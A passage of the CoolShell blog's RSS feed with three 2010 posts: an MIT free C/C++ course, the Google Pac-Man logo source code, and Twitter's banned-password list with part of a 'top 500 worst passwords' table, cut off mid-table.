decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"恢复Ext3下被删除的文件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1265.html\" class=\"wp_rp_title\">恢复Ext3下被删除的文件</a></li><li ><a href=\"https://coolshell.cn/articles/4235.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/wisdom-225x300-150x150.jpg\" alt=\"程序员的谎谬之言还是至理名言？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4235.html\" class=\"wp_rp_title\">程序员的谎谬之言还是至理名言？</a></li><li ><a href=\"https://coolshell.cn/articles/19464.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/06/competition-360x200-1-150x150.png\" alt=\"如何超过大多数人\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19464.html\" class=\"wp_rp_title\">如何超过大多数人</a></li><li ><a href=\"https://coolshell.cn/articles/1310.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/08/codepad2-150x150.jpg\" alt=\"在线代码编译服务Codepad.org\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1310.html\" class=\"wp_rp_title\">在线代码编译服务Codepad.org</a></li><li ><a href=\"https://coolshell.cn/articles/1092.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"Top 200的全球开发者BLOG\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1092.html\" class=\"wp_rp_title\">Top 200的全球开发者BLOG</a></li><li ><a href=\"https://coolshell.cn/articles/1035.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"16个简单实用的.htaccess小贴示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1035.html\" class=\"wp_rp_title\">16个简单实用的.htaccess小贴示</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2460.html\">说服他人的5种技巧 – Guy Kawasaki</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2460.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>（麻省理工免费课程）C语言内存管理和C++面向对象编程</title>\n\t\t<link>https://coolshell.cn/articles/2474.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2474.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 23 May 2010 00:15:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Course]]></category>\n\t\t<category><![CDATA[MIT]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2474</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>此课程有全部讲义和习题。 课程描述实在得令人发指。翻译如下： 您是否由于自己的Python程序比同僚们的C程序慢而垂头丧气？你是否想不用JAVA实现面向对象？加...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2474.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2474.html\">（麻省理工免费课程）C语言内存管理和C++面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>此课程有全部<a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010/lecture-notes\" target=\"_blank\">讲义</a>和<a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010/assignments\" target=\"_blank\">习题</a>。</p>\n<p>课程描述实在得令人发指。翻译如下：</p>\n<blockquote><p>您是否由于自己的Python程序比同僚们的C程序慢而垂头丧气？你是否想不用JAVA实现面向对象？加入我们，学习C和C++吧！我们带您从简单的C程序入手，深入C语言的内存管理，简介C++里的面向对象，深入C++面向对象的高级功能以及STL。我们还教您一些以后面试用得着的技巧和知识。</p>\n<p>原文：</p>\n<p>Ever hang your head in shame after your Python program wasn&#8217;t as fast as your friend&#8217;s C program? Ever wish you could use objects without having to use Java? Join us for this fun introduction to C and C++! We will take you through a tour that will start with writing simple C programs, go deep into the caves of C memory manipulation, resurface with an introduction to using C++ classes, dive deeper into advanced C++ class use and the C++ Standard Template Libraries. We&#8217;ll wrap up by teaching you some tricks of the trade that you may need for tech interviews.</p></blockquote>\n<p>麻省理工开放课程里有很多计算机科学的宝贝。不仅有一流的教程，还有习题和答案。适合英语不错的程序员平时充电。</p>\n<p><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-088-introduction-to-c-memory-management-and-c-object-oriented-programming-january-iap-2010/index.htm#features\" target=\"_blank\">课程地址</a>（英文）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3723.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"（麻省理工免费课程）计算机科学和编程导论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3723.html\" class=\"wp_rp_title\">（麻省理工免费课程）计算机科学和编程导论</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2474.html\">（麻省理工免费课程）C语言内存管理和C++面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2474.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>135</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Google吃豆游戏Logo的源码</title>\n\t\t<link>https://coolshell.cn/articles/2466.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2466.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 22 May 2010 15:42:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Game]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Logo]]></category>\n\t\t<category><![CDATA[PacMan]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2466</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这两天，Google的logo换成了那个经典的吃豆游戏，很强大，也引发了大众的热议。如果你想要其源代码的话，你可以到这里下载：http://github.com...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2466.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2466.html\">Google吃豆游戏Logo的源码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这两天，Google的logo换成了那个经典的吃豆游戏，很强大，也引发了大众的热议。如果你想要其源代码的话，你可以到这里下载：<span style=\"font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 14px; white-space: pre;\"><a href=\"http://github.com/macek/google_pacman\" target=\"_blank\"><strong>http://github.com/macek/google_pacman</strong></a></span>。而在线演示在这里：<span style=\"font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;\"><a href=\"http://macek.github.com/google_pacman/\">http://macek.github.com/google_pacman/</a>。</span></p>\n<figure id=\"attachment_2467\" aria-describedby=\"caption-attachment-2467\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2467\" title=\"Google 吃豆游戏 Logo\" src=\"https://coolshell.cn/wp-content/uploads/2010/05/google_pacman.jpg\" alt=\"Google 吃豆游戏 Logo\" width=\"554\" height=\"186\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/05/google_pacman.jpg 554w, https://coolshell.cn/wp-content/uploads/2010/05/google_pacman-300x101.jpg 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-2467\" class=\"wp-caption-text\">Google 吃豆游戏 Logo</figcaption></figure>\n<p>需要注意的是，那个源程序在你的本机是不会有声音的，因为这跟flash的设置有关系，如果你需要有游戏声音，你还需要有以下的设置：</p>\n<pre>  1. 打开 Adobe Flash Control Panel:\n     <a href=\"http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager04.html\" target=\"_blank\">http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager04.html</a>\n  2. 点击 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">Edit Locations</code>\n  3. 点击 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">Add Location</code>\n  4. 浏览你的 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">google_pacman</code> 目录\n  5. 点击 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">Add</code></pre>\n<p>需要注意的是，这个源程序并不是Google官方发布的，只不过是某些好事者的网友发布的，不知道在日后的<a href=\"http://www.google.com/logos/index.html\" target=\"_blank\">Google的Logo归档</a>中是否会见到这个Logo。顺便说一下，根据 <a href=\"http://googleblog.blogspot.com/2010/05/celebrating-pac-mans-30th-birthday.html\" target=\"_blank\">Google官方BLOG</a>，这个程序是由 Marcin Wichary 和 Ryan Germick做的。真是又应了那句话——“如果一个应用能被Javascript实现，那么其最终会被Javascript实现”。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2466.html\">Google吃豆游戏Logo的源码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2466.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Twitter的禁用口令</title>\n\t\t<link>https://coolshell.cn/articles/2451.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2451.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 20 May 2010 00:58:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[password]]></category>\n\t\t<category><![CDATA[口令]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2451</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>打开Twitter的注册页面，https://twitter.com/signup，查看一下源码，你会看到一个很长的禁用口令列表（见本文最下面），其中的某些口令...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2451.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2451.html\">Twitter的禁用口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>打开Twitter的注册页面，<a href=\"https://twitter.com/signup\" target=\"_blank\">https://twitter.com/signup</a>，查看一下源码，你会看到一个很长的禁用口令列表（见本文最下面），其中的某些口令的确很雷人。你可以参看本站的《<a title=\"如何管理并设计你的口令\" href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a>》来设计和管理你的口令。其中的某些口令需要向你解释一下：</p>\n<ul>\n<li><strong>ncc1701</strong> 这是星际迷航中的战舰号。</li>\n<li><strong>thx1138</strong> 这是乔治卢卡斯的第一个电影，1971年，其学生时代的作品。</li>\n<li><strong>qazwsx</strong> 这是键盘的布局顺序键。</li>\n<li><strong>666666</strong> 这是6个6</li>\n<li><strong>7777777</strong> 这是7个7</li>\n<li><strong>ou812</strong> 这是1988范 海伦Van Halen 专辑</li>\n<li><strong>8675309</strong> 这是 1982 Tommy Tutone song歌中提到的数字。这首歌导致人们开始播打电话867- 5309 寻找 “Jenny”</li>\n</ul>\n<p>经过统计，9个人里就有1个人会使用下面这个列表中的一个口令，而50个人就会有1个人使用top 20里的一个口令。你可能会问，top20是怎么来的？而twitter这个列表又是哪里来的？请看下面的表格。这是top 500最烂的口令列表。其来源是<a href=\"http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time\" target=\"_blank\">这里</a>。</p>\n<p><span id=\"more-2451\"></span></p>\n<table>\n<tbody>\n<tr>\n<td>NO</td>\n<td>Top 1-100</td>\n<td>Top 101–200</td>\n<td>Top 201–300</td>\n<td>Top 301–400</td>\n<td>Top 401–500</td>\n</tr>\n<tr>\n<td>1</td>\n<td>123456</td>\n<td>porsche</td>\n<td>firebird</td>\n<td>prince</td>\n<td>rosebud</td>\n</tr>\n<tr>\n<td>2</td>\n<td>password</td>\n<td>guitar</td>\n<td>butter</td>\n<td>beach</td>\n<td>jaguar</td>\n</tr>\n<tr>\n<td>3</td>\n<td>12345678</td>\n<td>chelsea</td>\n<td>united</td>\n<td>amateur</td>\n<td>great</td>\n</tr>\n<tr>\n<td>4</td>\n<td>1234</td>\n<td>black</td>\n<td>turtle</td>\n<td>7777777</td>\n<td>cool</td>\n</tr>\n<tr>\n<td>5</td>\n<td>pussy</td>\n<td>diamond</td>\n<td>steelers</td>\n<td>muffin</td>\n<td>cooper</td>\n</tr>\n<tr>\n<td>6</td>\n<td>12345</td>\n<td>nascar</td>\n<td>tiffany</td>\n<td>redsox</td>\n<td>1313</td>\n</tr>\n<tr>\n<td>7</td>\n<td>dragon</td>\n<td>jackson</td>\n<td>zxcvbn</td>\n<td>star</td>\n<td>scorpio</td>\n</tr>\n<tr>\n<td>8</td>\n<td>qwerty</td>\n<td>cameron</td>\n<td>tomcat</td>\n<td>testing</td>\n<td>mountain</td>\n</tr>\n<tr>\n<td>9</td>\n<td>696969</td>\n<td>654321</td>\n<td>golf</td>\n<td>shannon</td>\n<td>madison</td>\n</tr>\n<tr>\n<td>10</td>\n<td>mustang</td>\n<td>computer</td>\n<td>bond007</td>\n<td>murphy</td>\n<td>987654</td>\n</tr>\n<tr>\n<td>11</td>\n<td>letmein</td>\n<td>amanda</td>\n<td>bear</td>\n<td>frank</td>\n<td>brazil</td>\n</tr>\n<tr>\n<td>12</td>\n<td>baseball</td>\n<td>wizard</td>\n<td>tiger</td>\n<td>hannah</td>\n<td>lauren</td>\n</tr>\n<tr>\n<td>13</td>\n<td>master</td>\n<td>xxxxxxxx</td>\n<td>doctor</td>\n<td>dave</td>\n<td>japan</td>\n</tr>\n<tr>\n<td>14</td>\n<td>michael</td>\n<td>money</td>\n<td>gateway</td>\n<td>eagle1</td>\n<td>naked</td>\n</tr>\n<tr>\n<td>15</td>\n<td>football</td>\n<td>phoenix</td>\n<td>gators</td>\n<td>11111</td>\n<td>squirt</td>\n</tr>\n<tr>\n<td>16</td>\n<td>shadow</td>\n<td>mickey</td>\n<td>angel</td>\n<td>mother</td>\n<td>stars</td>\n</tr>\n<tr>\n<td>17</td>\n<td>monkey</td>\n<td>bailey</td>\n<td>junior</td>\n<td>nathan</td>\n<td>apple</td>\n</tr>\n<tr>\n<td>18</td>\n<td>abc123</td>\n<td>knight</td>\n<td>thx1138</td>\n<td>raiders</td>\n<td>alexis</td>\n</tr>\n<tr>\n<td>19</td>\n<td>pass</td>\n<td>iceman</td>\n<td>porno</td>\n<td>steve</td>\n<td>aaaa</td>\n</tr>\n<tr>\n<td>20</td>\n<td>fuckme</td>\n<td>tigers</td>\n<td>badboy</td>\n<td>forever</td>\n<td>bonnie</td>\n</tr>\n<tr>\n<td>21</td>\n<td>6969</td>\n<td>purple</td>\n<td>debbie</td>\n<td>angela</td>\n<td>peaches</td>\n</tr>\n<tr>\n<td>22</td>\n<td>jordan</td>\n<td>andrea</td>\n<td>spider</td>\n<td>viper</td>\n<td>jasmine</td>\n</tr>\n<tr>\n<td>23</td>\n<td>harley</td>\n<td>horny</td>\n<td>melissa</td>\n<td>ou812</td>\n<td>kevin</td>\n</tr>\n<tr>\n<td>24</td>\n<td>ranger</td>\n<td>dakota</td>\n<td>booger</td>\n<td>jake</td>\n<td>matt</td>\n</tr>\n<tr>\n<td>25</td>\n<td>iwantu</td>\n<td>aaaaaa</td>\n<td>1212</td>\n<td>lovers</td>\n<td>qwertyui</td>\n</tr>\n<tr>\n<td>26</td>\n<td>jennifer</td>\n<td>player</td>\n<td>flyers</td>\n<td>suckit</td>\n<td>danielle</td>\n</tr>\n<tr>\n<td>27</td>\n<td>hunter</td>\n<td>sunshine</td>\n<td>fish</td>\n<td>gregory</td>\n<td>beaver</td>\n</tr>\n<tr>\n<td>28</td>\n<td>fuck</td>\n<td>morgan</td>\n<td>porn</td>\n<td>buddy</td>\n<td>4321</td>\n</tr>\n<tr>\n<td>29</td>\n<td>2000</td>\n<td>starwars</td>\n<td>matrix</td>\n<td>whatever</td>\n<td>4128</td>\n</tr>\n<tr>\n<td>30</td>\n<td>test</td>\n<td>boomer</td>\n<td>teens</td>\n<td>young</td>\n<td>runner</td>\n</tr>\n<tr>\n<td>31</td>\n<td>batman</td>\n<td>cowboys</td>\n<td>scooby</td>\n<td>nicholas</td>\n<td>swimming</td>\n</tr>\n<tr>\n<td>32</td>\n<td>trustno1</td>\n<td>edward</td>\n<td>jason</td>\n<td>lucky</td>\n<td>dolphin</td>\n</tr>\n<tr>\n<td>33</td>\n<td>thomas</td>\n<td>charles</td>\n<td>walter</td>\n<td>helpme</td>\n<td>gordon</td>\n</tr>\n<tr>\n<td>34</td>\n<td>tigger</td>\n<td>girls</td>\n<td>cumshot</td>\n<td>jackie</td>\n<td>casper</td>\n</tr>\n<tr>\n<td>35</td>\n<td>robert</td>\n<td>booboo</td>\n<td>boston</td>\n<td>monica</td>\n<td>stupid</td>\n</tr>\n<tr>\n<td>36</td>\n<td>access</td>\n<td>coffee</td>\n<td>braves</td>\n<td>midnight</td>\n<td>shit</td>\n</tr>\n<tr>\n<td>37</td>\n<td>love</td>\n<td>xxxxxx</td>\n<td>yankee</td>\n<td>college</td>\n<td>saturn</td>\n</tr>\n<tr>\n<td>38</td>\n<td>buster</td>\n<td>bulldog</td>\n<td>lover</td>\n<td>baby</td>\n<td>gemini</td>\n</tr>\n<tr>\n<td>39</td>\n<td>1234567</td>\n<td>ncc1701</td>\n<td>barney</td>\n<td>cunt</td>\n<td>apples</td>\n</tr>\n<tr>\n<td>40</td>\n<td>soccer</td>\n<td>rabbit</td>\n<td>victor</td>\n<td>brian</td>\n<td>august</td>\n</tr>\n<tr>\n<td>41</td>\n<td>hockey</td>\n<td>peanut</td>\n<td>tucker</td>\n<td>mark</td>\n<td>3333</td>\n</tr>\n<tr>\n<td>42</td>\n<td>killer</td>\n<td>john</td>\n<td>princess</td>\n<td>startrek</td>\n<td>canada</td>\n</tr>\n<tr>\n<td>43</td>\n<td>george</td>\n<td>johnny</td>\n<td>mercedes</td>\n<td>sierra</td>\n<td>blazer</td>\n</tr>\n<tr>\n<td>44</td>\n<td>sexy</td>\n<td>gandalf</td>\n<td>5150</td>\n<td>leather</td>\n<td>cumming</td>\n</tr>\n<tr>\n<td>45</td>\n<td>andrew</td>\n<td>spanky</td>\n<td>doggie</td>\n<td>232323</td>\n<td>hunting</td>\n</tr>\n<tr>\n<td>46</td>\n<td>charlie</td>\n<td>winter</td>\n<td>zzzzzz</td>\n<td>4444</td>\n<td>kitty</td>\n</tr>\n<tr>\n<td>47</td>\n<td>superman</td>\n<td>brandy</td>\n<td>gunner</td>\n<td>beavis</td>\n<td>rainbow</td>\n</tr>\n<tr>\n<td>48</td>\n<td>asshole</td>\n<td>compaq</td>\n<td>horney</td>\n<td>bigcock</td>\n<td>112233</td>\n</tr>\n<tr>\n<td>49</td>\n<td>fuckyou</td>\n<td>carlos</td>\n<td>bubba</td>\n<td>happy</td>\n<td>arthur</td>\n</tr>\n<tr>\n<td>50</td>\n<td>dallas</td>\n<td>tennis</td>\n<td>2112</td>\n<td>sophie</td>\n<td>cream</td>\n</tr>\n<tr>\n<td>51</td>\n<td>jessica</td>\n<td>james</td>\n<td>fred</td>\n<td>ladies</td>\n<td>calvin</td>\n</tr>\n<tr>\n<td>52</td>\n<td>panties</td>\n<td>mike</td>\n<td>johnson</td>\n<td>naughty</td>\n<td>shaved</td>\n</tr>\n<tr>\n<td>53</td>\n<td>pepper</td>\n<td>brandon</td>\n<td>xxxxx</td>\n<td>giants</td>\n<td>surfer</td>\n</tr>\n<tr>\n<td>54</td>\n<td>1111</td>\n<td>fender</td>\n<td>tits</td>\n<td>booty</td>\n<td>samson</td>\n</tr>\n<tr>\n<td>55</td>\n<td>austin</td>\n<td>anthony</td>\n<td>member</td>\n<td>blonde</td>\n<td>kelly</td>\n</tr>\n<tr>\n<td>56</td>\n<td>william</td>\n<td>blowme</td>\n<td>boobs</td>\n<td>fucked</td>\n<td>paul</td>\n</tr>\n<tr>\n<td>57</td>\n<td>daniel</td>\n<td>ferrari</td>\n<td>donald</td>\n<td>golden</td>\n<td>mine</td>\n</tr>\n<tr>\n<td>58</td>\n<td>golfer</td>\n<td>cookie</td>\n<td>bigdaddy</td>\n<td>0</td>\n<td>king</td>\n</tr>\n<tr>\n<td>59</td>\n<td>summer</td>\n<td>chicken</td>\n<td>bronco</td>\n<td>fire</td>\n<td>racing</td>\n</tr>\n<tr>\n<td>60</td>\n<td>heather</td>\n<td>maverick</td>\n<td>penis</td>\n<td>sandra</td>\n<td>5555</td>\n</tr>\n<tr>\n<td>61</td>\n<td>hammer